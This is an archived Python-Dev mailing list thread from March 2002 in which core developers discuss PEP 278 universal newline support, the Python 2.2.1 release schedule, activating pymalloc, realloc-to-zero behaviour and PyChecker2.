Date: Thu, 14 Mar 2002 18:23:08 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>       <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net> <15504.56629.139299.340997@beluga.mojam.com>
Message-ID: <016f01c1cb7c$e9378e40$6d94fea9@newmexico>

From: Skip Montanaro <skip@pobox.com>
> 
>     Guido> I wonder if it would make sense to put a warning when people use
>     Guido> f.read(n) on a file opened in text mode?  I think f.read(n) is an
>     Guido> almost sure sign that they're seeing the file as binary data.
>     Guido> However, f.read() or f.read(-1) is used to slurp in text as well,
>     Guido> so should not trigger the warning.
> 
>     Guido> Opinions?
> 
> Pass this off to PyChecker?
> 
> I guess with the presence of PyChecker I'm getting a bit schizophrenic about
> whether warnings go in the Python byte compiler or in PyChecker.  It warns
> about so many more things now than the compiler as it stands that it seems
> to me to be the more natural place to stick new warnings.
> 
> Skip
> 

mmh, is this supposed to be a compile time warning? don't think so.

Anyway as long as PyChecker does not work with Jython and is not
part of the official distribution, IMO, I would
be more critical about what kind of critical code breakage should be dectected
by Python and what by PyChecker

regards.




From mwh@python.net  Thu Mar 14 17:40:22 2002
From: mwh@python.net (Michael Hudson)
Date: 14 Mar 2002 17:40:22 +0000
Subject: [Python-Dev] 2.2.1 release schedule
Message-ID: <2m663z120p.fsf@starship.python.net>

I'd like to put out 2.2.1 release candidate 1 early next week
(i.e. Monday, if possible), with the intent of releasing 2.2.1 a week
later.

I'm planning to spend a fair part of this weekend doing fun things
like trolling through CVS logs and bug reports making sure that
nothing too major has been missed.

About PEP 102:

what NEWS items should I be looking to include?  What more than:

What's new in Python 2.2.1?
Release date: 18-Mar-2002
===========================

    Bug fixes.

?  Or do important bugfixes get a mention of their own?  I guess if
I'm going through logs *anyway* this won't be too hard.

Either I need an account on creosote.python.org or I need the help of
someone who does[1], and I need a fair splodge of Tim's and Fred's
time.  I hope this is possible.

If you're feeling charitable, here are some things in increasing order
of tediousness that you can do to help:

  Supplying fixes for any of the bugs in the "Python 2.2.1 candidate"
  group on sf (or removing them from the group if they don't belong
  there).

  Reading through the open bugs on sf and putting those that deserve
  to be there in the 2.2.1 group.

  Reading through the CVS logs to check I didn't miss any checkins
  that should be ported.

Cheers,
M.

[1] I'm not exactly mad-keen to follow all of the steps in PEP 102 
    myself...

-- 
  I have long since given up dealing with people who hold idiotic
  opinions as if they had arrived at them through thinking about
  them.                                 -- Erik Naggum, comp.lang.lisp


From martin@v.loewis.de  Thu Mar 14 17:54:50 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 14 Mar 2002 18:54:50 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHCENDCNAA.tim@zope.com>
References: <BIEJKCLHCIOIHAGOKOLHCENDCNAA.tim@zope.com>
Message-ID: <m3vgbzxcet.fsf@mira.informatik.hu-berlin.de>

"Tim Peters" <tim@zope.com> writes:

> Martin, you were concerned earlier about the possibilities for tricking
> pymalloc into crashing the system, given that its flavor of free() takes a
> careful but still probabilistic guess about who (pymalloc or "the system")
> owns the memory being returned.  Are you no longer concerned abou that?

You convinced me last time that this won't be an issue. I think you
even offered some gift in case somebody runs into the problem in real
life, although I forgot what that gift was :-)

I think some action needs to be taken: either the code needs to be
removed from Python for that reason, or it should be activated. I
doubt that the problem (if there is a problem) will get addressed from
the code just sitting in the CVS. Trusting that the problem is *not*
real, I favour activating the code. It still remains an option to
turn it off should somebody be worried.

Regards,
Martin


From martin@v.loewis.de  Thu Mar 14 17:56:56 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 14 Mar 2002 18:56:56 +0100
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <2m663z120p.fsf@starship.python.net>
References: <2m663z120p.fsf@starship.python.net>
Message-ID: <m3r8mnxcbb.fsf@mira.informatik.hu-berlin.de>

Michael Hudson <mwh@python.net> writes:

> ?  Or do important bugfixes get a mention of their own?  I guess if
> I'm going through logs *anyway* this won't be too hard.

I would like to see such a list if producing it won't deprive you of
your sleep, and won't delay the release significantly.

Regards,
Martin


From jason@jorendorff.com  Thu Mar 14 17:54:57 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Thu, 14 Mar 2002 11:54:57 -0600
Subject: [Python-Dev] PyMem_Realloc corner case
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEHDOAAA.tim.one@comcast.net>
Message-ID: <HFEKILOLEFEFMKAECNDLEEHDDJAA.jason@jorendorff.com>

Tim Peters wrote:
> [Jason Orendorff]
> > I just got bit by the following:
> >
> > On Windows,
> 
> Which flavor of Windows?  Which compiler?  Which version of Python?

Ah!  I just got this message.  You correctly divined the cause of
my problems without all this information, so I'll cut to the chase:

> [...] realloc'ing to 0 bytes is stupid [...]

Enough said.

I will indulge in a little whining though (below).


> MS malloc(0) does not return NULL, which is why MALLOC_ZERO_RETURNS_NULL
> should not be #define'd.  However, MS realloc(p, 0) returns NULL 
> if and only if p is not NULL (well, MS realloc(NULL, 0) can return
> NULL if there's not enough heap space remaining to allocate a dummy
> object), and if p is not NULL does free the block.  All of this is
> fine by the C standard.
> [...]
> Note:  The pymalloc realloc works just like the MS realloc here, 
> so it's not "just Windows"; from obmalloc.c's _THIS_REALLOC:
> 
> 			/* Don't bother if a smaller size was requested
> 			   except for realloc(p, 0) == free(p), ret NULL */
> 			if (nbytes == 0) {
> 				_THIS_FREE(p);
> 				bp = NULL;
> 
> In fact, I believe it's *common* for realloc(not-NULL, 0) to act like
> free(not-NULL), and that's allowed but not required by C.

Well... here's what the standard says:

| 7.20.3 Memory management functions
| 1 [...]
| If the size of the space requested is zero, the behavior is
| implementation-defined: either a null pointer is returned, or the
| behavior is as if the size were some nonzero value, except that the
| pointer returned shall not be used to access an object.

This applies to calloc, malloc, and realloc.  And:

| 7.20.3.4 The realloc function
| Synopsis
|     #include <stdlib.h>
|     void *realloc(void *ptr, size_t size);
| Description
| 2 The realloc function deallocates the old object pointed to
| by ptr and returns a pointer to a new object that has the size
| specified by size.  The contents of the new object shall be the
| same as that of the old object prior to deallocation, up to the
| lesser of the new and old sizes.

If you set knowing how Microsoft's realloc() or PyMalloc's
realloc() works, you could read the standard to allow them.
But a casual reading suggests

(a)  "the behavior is implementation-defined: either X or Y"
     - a given implementation must pick one or the other, not
       switch back and forth for different cases.
(b)  "deallocates the old object...returns a pointer to a new
      object" - should behave like a free/malloc combo. That is,
      y=realloc(x, 0); should behave like free(x); y=malloc(0);

Anyway, I'm sure you've had enough of me by now, so I'll stop. :)

## Jason Orendorff    http://www.jorendorff.com/


From martin@v.loewis.de  Thu Mar 14 17:28:04 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 14 Mar 2002 18:28:04 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203140610.PAA32196@suzuki611.ngo.okisoft.co.jp>
References: <200203140610.PAA32196@suzuki611.ngo.okisoft.co.jp>
Message-ID: <m34rjj12l7.fsf@mira.informatik.hu-berlin.de>

SUZUKI Hisao <suzuki611@oki.com> writes:

> And almost every operating system in Japan is on the way to
> adopt Unicode to save us from the chaos.  I am afraid the
> mileage of the PEP will be fairly short and just results in
> loading a lot of burden onto the language, 

That is a mis-perception. The PEP does not add a lot of burden onto
the language; the stage-1 implementation is fairly trivial. The
biggest change in the interpreter will be to have the parser operate
on Unicode all the time; that change will be necessary stage 2,
whether UTF-8 will be the default encoding or not.

Also, the warning framework added will help people migrating - whether
towards UTF-8 or custom locally-declared encodings is their choice.

> I know it is not the best practice either.  However, you cannot
> safely write Shift_JIS into Python source file anyway, unless
> you hack up the interpreter parser itself for now.  

In stage 2 of the PEP, this will be possible (assuming Python has
access to a Shift_JIS codec).

Regards,
Martin


From skip@pobox.com  Thu Mar 14 18:26:19 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 14 Mar 2002 12:26:19 -0600
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <016f01c1cb7c$e9378e40$6d94fea9@newmexico>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>
 <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
 <15504.56629.139299.340997@beluga.mojam.com>
 <016f01c1cb7c$e9378e40$6d94fea9@newmexico>
Message-ID: <15504.60235.515422.420592@beluga.mojam.com>

    Skip> Pass this off to PyChecker?

    Samuele> Anyway as long as PyChecker does not work with Jython and is
    Samuele> not part of the official distribution, IMO, I would be more
    Samuele> critical about what kind of critical code breakage should be
    Samuele> dectected by Python and what by PyChecker

Take a look at the PyChecker website:

    https://sourceforge.net/projects/pychecker/

If you check out the PyChecker code, you also get a pychecker2 directory.
My understanding is that it works from Python source, not bytecode, the
intent being that it should eventually work with Jython.

Skip




From guido@python.org  Thu Mar 14 18:27:50 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 13:27:50 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Your message of "14 Mar 2002 17:40:22 GMT."
 <2m663z120p.fsf@starship.python.net>
References: <2m663z120p.fsf@starship.python.net>
Message-ID: <200203141827.g2EIRoJ24698@pcp742651pcs.reston01.va.comcast.net>

I guess this is my queue to fix this following bug:

520644 __slots__ are not pickled

(By making it fail cleanly, not by defising a way to pickle them.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 14 18:31:41 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 13:31:41 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: Your message of "Thu, 14 Mar 2002 11:26:13 CST."
 <15504.56629.139299.340997@beluga.mojam.com>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
 <15504.56629.139299.340997@beluga.mojam.com>
Message-ID: <200203141831.g2EIVfR24749@pcp742651pcs.reston01.va.comcast.net>

>     Guido> I wonder if it would make sense to put a warning when people use
>     Guido> f.read(n) on a file opened in text mode?  I think f.read(n) is an
>     Guido> almost sure sign that they're seeing the file as binary data.
>     Guido> However, f.read() or f.read(-1) is used to slurp in text as well,
>     Guido> so should not trigger the warning.
> 
>     Guido> Opinions?
> 
> Pass this off to PyChecker?
> 
> I guess with the presence of PyChecker I'm getting a bit
> schizophrenic about whether warnings go in the Python byte compiler
> or in PyChecker.  It warns about so many more things now than the
> compiler as it stands that it seems to me to be the more natural
> place to stick new warnings.

I don't think this is a good match for PyChecker, but I'll leat Neal
think about that.

More importantly, I believe that "official" deprecation warnings
should come from the Python interpreter, not rely on an add-on tool
(no matter how nice).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 14 18:33:45 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 13:33:45 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: Your message of "Thu, 14 Mar 2002 16:51:57 GMT."
 <3c90aba2.27365980@mail.wanadoo.dk>
References: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com>
 <3c90aba2.27365980@mail.wanadoo.dk>
Message-ID: <200203141833.g2EIXks24768@pcp742651pcs.reston01.va.comcast.net>

> The PEP seems to assume that the changed behaviour only apply to
> .readline() and friends. I'm sure that is obvious to you, but for
> historical reasons beyound my control, the universal newline support in
> jython normalize all lineendings to a newline for all reads on text
> files. I think jython is wrong here and your PEP is better.

I hadn't noticed this.  I'm not so sure.  I would like to be able to
write

  f = open(filename, 'U')
  data = f.read()

and then use some regular expression or whatever to munge the text.
It would be nice if I would still get universal newline support in
this case.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pedroni@inf.ethz.ch  Thu Mar 14 18:50:38 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Thu, 14 Mar 2002 19:50:38 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>       <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>       <15504.56629.139299.340997@beluga.mojam.com>       <016f01c1cb7c$e9378e40$6d94fea9@newmexico> <15504.60235.515422.420592@beluga.mojam.com>
Message-ID: <01da01c1cb89$22c9e7a0$6d94fea9@newmexico>

From: Skip Montanaro <skip@pobox.com>
> 
>     Skip> Pass this off to PyChecker?
> 
>     Samuele> Anyway as long as PyChecker does not work with Jython and is
>     Samuele> not part of the official distribution, IMO, I would be more
>     Samuele> critical about what kind of critical code breakage should be
>     Samuele> dectected by Python and what by PyChecker
> 
> Take a look at the PyChecker website:
> 
>     https://sourceforge.net/projects/pychecker/
> 
> If you check out the PyChecker code, you also get a pychecker2 directory.
> My understanding is that it works from Python source, not bytecode, the
> intent being that it should eventually work with Jython.
> 

Glad of this. But anyway is a long road from here.
It seems that PyChecker2 code is ~10 days old.
I have not seen any explicit statement about Jython
and until Jython 2.2 is out there is no support
for the needed subset of Lib/compiler on our side.

Of course this approach is easier to support
for Jython.

And, no, I'm not informed of everything that happens
in Python-land, I have not seen any announcement
about PyChecker2 here or on comp.lang.python,
or on jython's lists.

regards.

 



From pedroni@inf.ethz.ch  Thu Mar 14 18:56:19 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Thu, 14 Mar 2002 19:56:19 +0100
Subject: [Python-Dev] 2.2.1 release schedule
References: <2m663z120p.fsf@starship.python.net>  <200203141827.g2EIRoJ24698@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <01f701c1cb89$edaa3ec0$6d94fea9@newmexico>

From: Guido van Rossum <guido@python.org>
> I guess this is my queue to fix this following bug:
>
> 520644 __slots__ are not pickled
>
> (By making it fail cleanly, not by defising a way to pickle them.)
>

Btw, I think this unassigned one is also related

[ 520645 ] unpickable basic types => confusing err

http://sourceforge.net/tracker/index.php?func=detail&aid=520645&group_id=5470&a
tid=105470

in the sense that at least your temporary fix for
the other will probably temporarly fix this one too <wink>.

regards.




From guido@python.org  Thu Mar 14 19:24:58 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 14:24:58 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Your message of "Thu, 14 Mar 2002 19:56:19 +0100."
 <01f701c1cb89$edaa3ec0$6d94fea9@newmexico>
References: <2m663z120p.fsf@starship.python.net> <200203141827.g2EIRoJ24698@pcp742651pcs.reston01.va.comcast.net>
 <01f701c1cb89$edaa3ec0$6d94fea9@newmexico>
Message-ID: <200203141924.g2EJOwr24996@pcp742651pcs.reston01.va.comcast.net>

> > 520644 __slots__ are not pickled
> >
> > (By making it fail cleanly, not by defising a way to pickle them.)
> >
> 
> Btw, I think this unassigned one is also related
> 
> [ 520645 ] unpickable basic types => confusing err

[sf.net/tracker/index.php?func=detail&aid=520645&group_id=5470&atid=105470]

> in the sense that at least your temporary fix for
> the other will probably temporarly fix this one too <wink>.

I think not; that one looks like it's been fixed by an earlier fix for
a more severe pickle problem.  See my comments on the bug report
(which I've closed -- if you think there's still an issue, please
reopen it).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Thu Mar 14 19:30:09 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 14 Mar 2002 14:30:09 -0500
Subject: [Python-Dev] PyMem_Realloc corner case
In-Reply-To: <HFEKILOLEFEFMKAECNDLEEHDDJAA.jason@jorendorff.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHIENPCNAA.tim.one@comcast.net>

[Jason Orendorff]
> Well... here's what the standard says:

Yes, I've read it.  Note that the C89 and C99 standards have quite different
text (especially for realloc).  Regardless of what any standard says, we
have to live with what platforms actually do, so I think it's a waste of
time to chop the text in either standard.

Note that current CVS Python realloc works the way the Python docs say it
works.  For older Pythons the actual implementation of realloc simply
doesn't match the Python docs across platforms (so realloc(p, 0) may or may
not return NULL, and independent of what malloc(0) does).



From pedroni@inf.ethz.ch  Thu Mar 14 19:22:44 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Thu, 14 Mar 2002 20:22:44 +0100
Subject: [Python-Dev] 2.2.1 release schedule
References: <2m663z120p.fsf@starship.python.net> <200203141827.g2EIRoJ24698@pcp742651pcs.reston01.va.comcast.net>             <01f701c1cb89$edaa3ec0$6d94fea9@newmexico>  <200203141924.g2EJOwr24996@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <000f01c1cb8d$9e3b53c0$6d94fea9@newmexico>

From: Guido van Rossum <guido@python.org>
> > > 520644 __slots__ are not pickled
> > >
> > > (By making it fail cleanly, not by defising a way to pickle them.)
> > >
> > 
> > Btw, I think this unassigned one is also related
> > 
> > [ 520645 ] unpickable basic types => confusing err
> 
> [sf.net/tracker/index.php?func=detail&aid=520645&group_id=5470&atid=105470]
> 
> > in the sense that at least your temporary fix for
> > the other will probably temporarly fix this one too <wink>.
> 
> I think not; that one looks like it's been fixed by an earlier fix for
> a more severe pickle problem.  See my comments on the bug report
> (which I've closed -- if you think there's still an issue, please
> reopen it).
> 

You're right. I didn't check the CVS when I made the report.
I'm more a distro user than a CVS tester. I look at the CVS
mostly to understand how things should work.

regards.



From tim@zope.com  Thu Mar 14 20:29:32 2002
From: tim@zope.com (Tim Peters)
Date: Thu, 14 Mar 2002 15:29:32 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m3vgbzxcet.fsf@mira.informatik.hu-berlin.de>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEOGCNAA.tim@zope.com>

[Tim]
> Martin, you were concerned earlier about the possibilities for tricking
> pymalloc into crashing the system, given that its flavor of free() takes
> a careful but still probabilistic guess about who (pymalloc or "the
> system") owns the memory being returned.  Are you no longer concerned
> about that?

[Martin v. Loewis]
> You convinced me last time that this won't be an issue. I think you
> even offered some gift in case somebody runs into the problem in real
> life, although I forgot what that gift was :-)

Na, I passed along *Vladimir's* offer to buy us lunch.  It's very curious
that he vanished from Python Life soon after making that offer <wink>.

I agree with him that the odds of "an accident" are vanishingly small,
provided that pymalloc continues never returning areans to the system (if it
starts to return them, it's trickier).  The practical question is more
whether a knowledgeable hostile user could *provoke* pymalloc into erring
here; but competing with hostile users is outside my personal definition of
"practical", so I haven't thought about that since raising the question.

> I think some action needs to be taken: either the code needs to be
> removed from Python for that reason, or it should be activated. I
> doubt that the problem (if there is a problem) will get addressed from
> the code just sitting in the CVS.

This is demonstrably true.

> Trusting that the problem is *not* real, I favour activating the code.
> It still remains an option to turn it off should somebody be worried.

Sounds good to me.  There are other things I'd like to do then more than I'd
like to play Security Geek:

+ Boost the limit for the max request pymalloc handles on its own.

+ Add debug-build checks similar to the Microsoft debug malloc/free
  checks.

+ Add realloc variants that specifically ask to, or ask not to,
  copy to a smaller block if the resize is a shrinking one (one size
  can't fit all here, and Python uses realloc a lot).



From tim@zope.com  Thu Mar 14 21:27:08 2002
From: tim@zope.com (Tim Peters)
Date: Thu, 14 Mar 2002 16:27:08 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <2m663z120p.fsf@starship.python.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHGEOLCNAA.tim@zope.com>

[Michael Hudson]
> I'd like to put out 2.2.1 release candidate 1 early next week
> (i.e. Monday, if possible), with the intent of releasing 2.2.1 a week
> later.

What do you want to call it?  Like, 2.2.1a1, or 2.2.1b1, or 2.2.1c1, or ...?

> I'm planning to spend a fair part of this weekend doing fun things
> like trolling through CVS logs and bug reports making sure that
> nothing too major has been missed.

I just tried building a Windows installer based on 2.2.1 CVS.  It revealed
that pydoc blows up now, easiest to see via cmdline help():

C:\Pyt>python
Python 2.2.1a1 (#32, Mar 14 2002, 14:10:11) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import __builtin__
>>> help(__builtin__)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "C:\Pyt\lib\site.py", line 279, in __call__
    return pydoc.help(*args, **kwds)
  File "C:\Pyt\lib\pydoc.py", line 1509, in __call__
    self.help(request)
  File "C:\Pyt\lib\pydoc.py", line 1545, in help
    else: doc(request, 'Help on %s:')
  File "C:\Pyt\lib\pydoc.py", line 1340, in doc
    pager(title % (desc + suffix) + '\n\n' + text.document(thing, name))
  File "C:\Pyt\lib\pydoc.py", line 267, in document
    if inspect.ismodule(object): return apply(self.docmodule, args)
  File "C:\Pyt\lib\pydoc.py", line 960, in docmodule
    contents.append(self.document(value, key, name))
  File "C:\Pyt\lib\pydoc.py", line 268, in document
    if inspect.isclass(object): return apply(self.docclass, args)
  File "C:\Pyt\lib\pydoc.py", line 1005, in docclass
    doc = getdoc(object)
  File "C:\Pyt\lib\pydoc.py", line 66, in getdoc
    result = inspect.getdoc(object) or inspect.getcomments(object)
  File "C:\Pyt\lib\inspect.py", line 267, in getdoc
    lines = string.split(string.expandtabs(object.__doc__), '\n')
  File "C:\Pyt\lib\string.py", line 298, in expandtabs
    return s.expandtabs(tabsize)
AttributeError: 'member_descriptor' object has no attribute 'expandtabs'
>>>

I see it blows up likewise in current CVS.  This example works fine in 2.2,
though.

I never use pydoc, so it would be helpful if someone who does adopted it.




From guido@python.org  Thu Mar 14 21:42:06 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 16:42:06 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Your message of "Thu, 14 Mar 2002 16:27:08 EST."
 <BIEJKCLHCIOIHAGOKOLHGEOLCNAA.tim@zope.com>
References: <BIEJKCLHCIOIHAGOKOLHGEOLCNAA.tim@zope.com>
Message-ID: <200203142142.g2ELg9l07184@odiug.zope.com>

> [Michael Hudson]
> > I'd like to put out 2.2.1 release candidate 1 early next week
> > (i.e. Monday, if possible), with the intent of releasing 2.2.1 a week
> > later.
> 
> What do you want to call it?  Like, 2.2.1a1, or 2.2.1b1, or 2.2.1c1, or ...?

Release candidates are traditionally called something like 2.2.1c1.
I'd approve of that name in this case.

BTW, Barry, can you give Michael an account on creosote?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From Jack.Jansen@oratrix.com  Thu Mar 14 22:12:09 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 14 Mar 2002 23:12:09 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <000601c1caef$e75dc040$ced241d5@hagrid>
Message-ID: <874FEFA2-3798-11D6-99E5-003065517236@oratrix.com>

On donderdag, maart 14, 2002, at 01:16 , Fredrik Lundh wrote:

> someone wrote:
>
>> jack wrote:
>>> - open(filename, 'U') is now the way to open files for universal
>>> newline reading because 't' may have a use on Windows;
>>
>> "U" as in Ugly?
>
> but except for the mode parameter, the "newlines" hack, [...]

What do you mean by the "newlines hack"? I consider the 
functionality vital, but I'm open for a different way to get the 
functionality if you think that the newlines attribute is a 
hack. That is: if you also explain why you think it's a hack:-)
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Thu Mar 14 22:19:15 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 14 Mar 2002 23:19:15 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support -  available
In-Reply-To: <m3henj8usv.fsf@mira.informatik.hu-berlin.de>
Message-ID: <850E8917-3799-11D6-99E5-003065517236@oratrix.com>

While I agree that the textfile() may be a nice idea I think 
it's outside of the scope of PEP278. I'd like 278 to be purely 
about being able to use source code and data files with a 
foreign newline convention, and these last few mails go into 
Unicode support for files, which will open a very large new can 
of worms (such as conversion between non-unicode 8-bit formats 
and what have you). Unicode would definitely need output support 
also, which means we have to think of printfs and lots more.

How about a new PEP on this?

On donderdag, maart 14, 2002, at 08:36 , Martin v. Loewis wrote:

> Paul Prescod <paul@prescod.net> writes:
>
>>>     f = textfile(filename, mode="r", encoding=None)
>>
>> Enthusiastic +1.
>>
>> But I think that encoding should default to "ASCII". We also need to
>> discuss under what circumstances textfile("foo").read() 
>> returns Unicode
>> string versus 8-bit string.
>
> My suggestion would be "always", while I'm fine with the default
> encoding as "ascii".
>
> "Universal" newline support then means that additional newline markers
> should be recognized:
> U+0080 NEXT LINE (NEL)
> U+2028 LINE SEPARATOR
>
> If possible, Unicode TR 13 
> (http://www.unicode.org/unicode/reports/tr13/)
> should be followed as much as possible.
>
> Regards,
> Martin
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev
>
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Thu Mar 14 22:26:55 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 14 Mar 2002 23:26:55 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>
Message-ID: <971FF8E6-379A-11D6-99E5-003065517236@oratrix.com>

On donderdag, maart 14, 2002, at 08:54 , Just van Rossum wrote:

> Am I the only one who wants universal newlines *without* a new 
> mode character?
> Ideally I'd like *existing* code that works with text files to 
> accept any line
> ending.

No, I definitely like that too. But there's two problems.

First off, I've written the PEP with the idea of keeping it as 
compatible as possible. Hence also my initial choice (reverted 
since then) of making universal newlines a compile time option.

Second, and more importantly, universal newlines on output would 
be a major undertaking. Input code in the Python core uses only 
fgets() and fread(), and for each of the fgets or fread calls 
you either have the PyFileObject handy or you can deduce (from 
code inspection) that the call will always be used on a textfile 
or always on a binary file. Output code not only uses fwrite() 
and fputs() but also fprintf() and all its brothers and sisters. 
Output code occurs literally all over the place (object print 
methods, for instance). In many of those places all you have is 
a FILE *. And if the file is open in binary mode (as it needs to 
be for universal newline input or output) you need to intercept 
all output (otherwise bare \n characters would appear on Mac or 
Windows).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From neal@metaslash.com  Thu Mar 14 22:37:44 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Thu, 14 Mar 2002 17:37:44 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support -
 available
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
 <15504.56629.139299.340997@beluga.mojam.com> <200203141831.g2EIVfR24749@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C912638.9CC54555@metaslash.com>

Guido van Rossum wrote:
> 
> >     Guido> I wonder if it would make sense to put a warning when people use
> >     Guido> f.read(n) on a file opened in text mode?  I think f.read(n) is an
> >     Guido> almost sure sign that they're seeing the file as binary data.
> >     Guido> However, f.read() or f.read(-1) is used to slurp in text as well,
> >     Guido> so should not trigger the warning.
> >
> >     Guido> Opinions?
> >
> > Pass this off to PyChecker?
> >
> > I guess with the presence of PyChecker I'm getting a bit
> > schizophrenic about whether warnings go in the Python byte compiler
> > or in PyChecker.  It warns about so many more things now than the
> > compiler as it stands that it seems to me to be the more natural
> > place to stick new warnings.
> 
> I don't think this is a good match for PyChecker, but I'll leat Neal
> think about that.

A long time ago, there was a feature request to point out 
possible portability problems.  One such problem was open() 
because it can be different with respect to binary/text 
on unix/windows.

I think this warning is a good idea, but I'm not sure what 
should trigger the warning.  That's part of the reason I never 
got around to implementing the portability problems.

In general, it's probably easiest to use pychecker as 
an early warning system.  As soon as new features are 
added into python, we can upgrade pychecker to warn 
about a potential incompatibility.  This should give
people the most time to address potential upgrade problems.

I intend to add warnings for version incompatibilities
as much as possible.

> More importantly, I believe that "official" deprecation warnings
> should come from the Python interpreter, not rely on an add-on tool
> (no matter how nice).

Agreed.

Neal


From neal@metaslash.com  Thu Mar 14 22:48:04 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Thu, 14 Mar 2002 17:48:04 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support -
 available
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>       <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>       <15504.56629.139299.340997@beluga.mojam.com>       <016f01c1cb7c$e9378e40$6d94fea9@newmexico> <15504.60235.515422.420592@beluga.mojam.com> <01da01c1cb89$22c9e7a0$6d94fea9@newmexico>
Message-ID: <3C9128A4.30311B28@metaslash.com>

Samuele Pedroni wrote:
> 
> From: Skip Montanaro <skip@pobox.com>
> >
> >     Skip> Pass this off to PyChecker?
> >
> >     Samuele> Anyway as long as PyChecker does not work with Jython and is
> >     Samuele> not part of the official distribution, IMO, I would be more
> >     Samuele> critical about what kind of critical code breakage should be
> >     Samuele> dectected by Python and what by PyChecker
> >
> > Take a look at the PyChecker website:
> >
> >     https://sourceforge.net/projects/pychecker/
> >
> > If you check out the PyChecker code, you also get a pychecker2 directory.
> > My understanding is that it works from Python source, not bytecode, the
> > intent being that it should eventually work with Jython.
> >
> 
> Glad of this. But anyway is a long road from here.

Yes, it is.

> It seems that PyChecker2 code is ~10 days old.

Actually, the code is older, but has only been up 
on SF for that long.  It's still pretty young, though.

> I have not seen any explicit statement about Jython
> and until Jython 2.2 is out there is no support
> for the needed subset of Lib/compiler on our side.
> 
> Of course this approach is easier to support
> for Jython.
> 
> And, no, I'm not informed of everything that happens
> in Python-land, I have not seen any announcement
> about PyChecker2 here or on comp.lang.python,
> or on jython's lists.

pychecker2 is a complete rewrite using the stdlib compiler
